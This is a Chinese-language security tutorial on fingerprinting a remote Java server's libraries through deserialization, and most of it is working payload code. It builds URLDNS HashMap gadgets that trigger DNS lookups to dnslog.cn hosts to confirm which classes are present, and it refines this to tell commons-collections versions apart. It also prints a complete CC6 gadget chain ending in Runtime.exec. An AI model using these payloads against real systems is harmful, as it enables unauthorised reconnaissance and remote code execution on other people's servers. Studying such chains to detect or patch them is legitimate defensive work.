有时候我们发现远程有一个反序列化的漏洞,但是我们不知道有什么依赖,如果单纯的盲打反序列化链就要一个个试,如果知道依赖了以后我们也方便本地构造payload
原理
普通的dnslog请求payload
1 2 3 4 5 6
| URL url = new URL("http://aaaa.fnht9d.dnslog.cn"); HashMap hashMap = new HashMap(); Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class}); putVal.setAccessible(true); putVal.invoke(hashMap,new Object[]{0,url,"a",false,false}); serialize(hashMap);
|
HashMap是个key value得键值对,然后会调用hash(key)来触发dnslog,之前value我们都是随便传的,但是实际上我们可以利用这个value来探测依赖
我们这里随便传入一个本地才有的class,demo
1 2 3 4 5 6 7 8 9 10 11
| public static HashMap getURLDNSGadget(String urls, Class clazz) throws Exception{ HashMap hashMap = new HashMap(); URL url = new URL(urls); Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class}); putVal.setAccessible(true); putVal.invoke(hashMap,new Object[]{0,url,clazz,false,false}); return hashMap; }
HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",demo.class); serialize(test);
|
我们可以看到HashMap的readobejct里面,他是先把对应的key value反序列化出来再调用hash这个函数触发dnslog,如果value反序列化失败了,那么就不会有log了
所以这里可以看到远程报错,然后就没有dnslog请求
如果传入一个存在的类,比如说jdk里面自带的Map,就可以发现成功获取到dnslog
1 2
| HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",Map.class); serialize(test);
|
cc链依赖
以cc6为例
1 2 3 4 5 6 7 8 9 10 11 12 13
| ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}); InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}); InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"}); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod}); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"b"); HashMap hashMap = new HashMap(); Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class}); putVal.setAccessible(true); putVal.invoke(hashMap,new Object[]{0,tiedMapEntry,"a",false,false}); serialize(hashMap); deserialize();
|
这里面可以看到有ConstantTransformer InvokerTransformer ChainedTransformer LazyMap TiedMapEntry commons-collection3.2.1里面的依赖
HashMap jdk的依赖
一般我们探测的原则就是非jdk自带的依赖,在这里我们只需要探测是否有commons-collection3.2.1即可
1 2
| HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",InvokerTransformer.class); serialize(test);
|
但是我们这样写有一个问题,如果我们本地生成序列化payload的时候有3.2.1 4版本的,很容易分不清到底是哪个版本
所以我们调整一下,下面这种写法就可以比较清晰的看到具体的版本依赖了
1 2 3 4 5 6 7 8 9 10 11
| public static HashMap getURLDNSGadget(String urls, String clazzName) throws Exception{ HashMap hashMap = new HashMap(); URL url = new URL(urls); Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class}); putVal.setAccessible(true); putVal.invoke(hashMap,new Object[]{0,url,Class.forName(clazzName),false,false}); return hashMap; }
HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn","org.apache.commons.collections.functors.ChainedTransformer"); serialize(test);
|
当然细心的朋友可能会问,如果只是类,就无法探测是commons-collection 3.2.1还是commons-collection 3.2.2,那么再调整一下
1 2 3 4 5 6 7 8 9 10
| public static HashMap getURLDNSGadget(String urls, Object object) throws Exception{ HashMap hashMap = new HashMap(); URL url = new URL(urls); Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class}); putVal.setAccessible(true); putVal.invoke(hashMap,new Object[]{0,url,object,false,false}); return hashMap; } HashMap test=getURLDNSGadget("http://testaaaaaa.fnht9d.dnslog.cn",new InvokerTransformer("a",null,null)); serialize(test);
|
如果远程是commons-collection.3.2.2以上,就会报错,收不到dnslog请求